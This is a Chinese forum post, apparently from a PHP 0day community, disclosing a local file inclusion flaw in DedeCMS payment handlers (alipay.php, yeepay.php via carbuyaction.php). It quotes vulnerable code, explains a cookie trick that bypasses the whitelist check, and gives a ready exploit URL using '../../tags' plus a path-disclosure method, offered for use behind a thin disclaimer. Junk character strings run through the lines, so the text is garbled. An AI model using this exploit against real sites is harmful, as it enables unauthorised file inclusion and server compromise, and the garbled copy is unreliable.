晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
' N4 g0 i; A6 Z( A, C2 h. a
6 Y# Z/ G9 f1 z7 {出现漏洞的两个文件为:
- t1 v) U- ]; ~" u9 Q+ L4 ^/ P, Y9 uInclude/payment/alipay.php
: I& \( y: s( v2 `) vInclude/payment/yeepay.php2 k" b+ E, R0 A& c( @
漏洞均出现在respond方法里,估计这两个文件是临时工写的。3 t) v, @+ e3 u3 y4 o
" n& \+ [4 y! U! P! J6 C( bInclude/payment/alipay.php: e' N2 ]- H7 }8 k
% \' `9 s$ @/ n9 K' M......+ T4 H# Y3 N2 z$ l0 `# v
function respond()
f% P3 [5 ?$ N5 v {9 X' P& K' N9 {1 {. y
if (!empty($_POST))
6 F( j- ^7 i! T. o& f {
5 V0 b( j4 h" h+ F) \$ T1 A2 E' t$ E foreach($_POST as $key => $data)
9 h. [: @0 ~$ o9 \8 D2 Y$ ^, A- T {- ?1 h) ] W: v x
$_GET[$key] = $data;
2 h% i# [1 I3 T( v }5 h/ z9 [6 t- O2 v8 S" b
}
% u& O% j$ G. ?: `8 U /* 引入配置文件 */
. Y% I1 u U8 _ require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
8 I4 u. o& o1 y& k& Q$ M/ J5 X...... , i5 J2 [ Q) q+ E8 j
7 ~: U. r# Y) p& e9 K. A' H, L7 Z) G3 ^% b; y
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
$ |) p5 q) K; Q) r( J# q
" D- e* E0 y9 |4 n4 cInclude/payment/yeepay.php
( o3 l* o. p/ C( g3 J0 J" d6 G/ i4 `) y5 O0 M, j1 x) T
2 T* k& w9 n- n) G1 Z4 X
( o, H! J* [2 K7 c! n
......6 n7 p$ W$ A9 B
function respond(), w2 }! x; g* b; m2 U2 u
{, N4 ~. m2 P/ I" f( r7 x r: U
% f7 @0 ?7 R; q+ i8 g/ _) N( N /* 引入配置文件 */
8 j* Y- s4 d* ?6 A) J- t require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
2 {! F, V! z M9 Z+ d7 g! A - h, N( y3 A5 z4 G. M
$p1_MerId = trim($payment['yp_account']);
9 i! t9 ?1 e$ F& e$ g $merchantKey = trim($payment['yp_key']);, d2 ?; _/ b4 D- g( O3 D
......
2 |5 J2 A5 \; H* d: M8 m
$ M, f) K3 n' A% @6 r4 x+ `. ^; v' I* l2 e t
) U0 P" ~3 p, Q! H
; n" |) D) Q7 z' g8 N( `" `4 p大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
# i6 d) ?, n; E# y i8 \# p
/ F& D; z4 p2 ]这两个方法在plus/carbuyaction.php文件调用。
) D1 ]$ {! L" y9 z) o1 l6 A1 k9 p! l B3 r6 e/ \
plus/carbuyaction.php
& ?! C7 x7 O) z6 j- B& P [2 W- b
! `9 R7 S- V, y* \5 z- G1 b- \......
$ \2 |: a% t, ]5 \0 g' K} else if ($dopost == 'return') {
1 \/ K& G$ Z. [/ A) m7 b $write_list = array('alipay', 'bank', 'cod', 'yeepay');
% U6 P& I. m3 D; [% h if (in_array($code, $write_list))
5 A( \4 p% u/ u& Q {, |" y {2 v. w8 K ^" f* K& K4 W
require_once DEDEINC.'/payment/'.$code.'.php';
1 S8 _3 t/ K o' L/ O $pay = new $code;9 R" n# e( q/ C$ P
$msg=$pay->respond();
# v7 O, Y8 w5 H* j0 _ ShowMsg($msg, "javascript:;", 0, 3000);6 ]4 a, z" V. P6 C2 n9 n2 r1 W9 v
exit();
3 }; _: k/ p$ o e i0 i7 O4 R9 X } else {
7 u: ~( ]2 m* z exit('Error:File Type Can\'t Recognized!');
7 p Z2 b! k. l/ {( {, H }
& K6 [% Y2 O2 y+ K4 J3 X! Q# E7 D: H}
! }, d& {+ c$ v5 t( ?* M' U6 R......
- M+ g8 ?& ?2 | # u9 X1 r: j! s; @+ V+ l) l. Y
1 p. g& \7 s- Y0 a, [9 F
" y. B9 J$ Z/ j4 h2 L. X& R. x) z+ ~% n& k, L
4 e/ O7 ~: F- k3 G
. b- k5 N$ r8 f7 `* q大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。, Z. v9 ]) }% i! [: u! `; z# H
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
* T+ {' d$ p6 \: B' M/ ?* C
4 {# d- ~7 q* P1 y' l" G回到include/common.inc.php来看看他的机制。) h7 V) k2 M( S, i" Y* O; |
% x' P6 x- O' v- Q* C- U
" ~" v3 |/ q2 c7 E4 |7 N, r6 D1 z* R% F
......
: X a8 T3 ?0 [- M" Fforeach(Array('_GET','_POST','_COOKIE') as $_request). \ E+ a, Y! [ X# t+ P
{6 k2 c7 D" k8 ^5 e( j
foreach($$_request as $_k => $_v)
, w' b8 M- q% `6 e {3 {; s+ u9 U9 }# f% _! [
if($_k == 'nvarname') ${$_k} = $_v;
0 D1 y: l) g7 b. y' @ else ${$_k} = _RunMagicQuotes($_v);8 X# Z1 v- a. d: ?
}3 C/ o8 T+ y8 t' _* u$ m
}
. f1 j5 U; S+ F$ @, {6 t5 R# r......
. Y! h/ Y0 `5 L3 z/ ^. ?大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:- i2 t" ~4 S' R3 {8 B
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |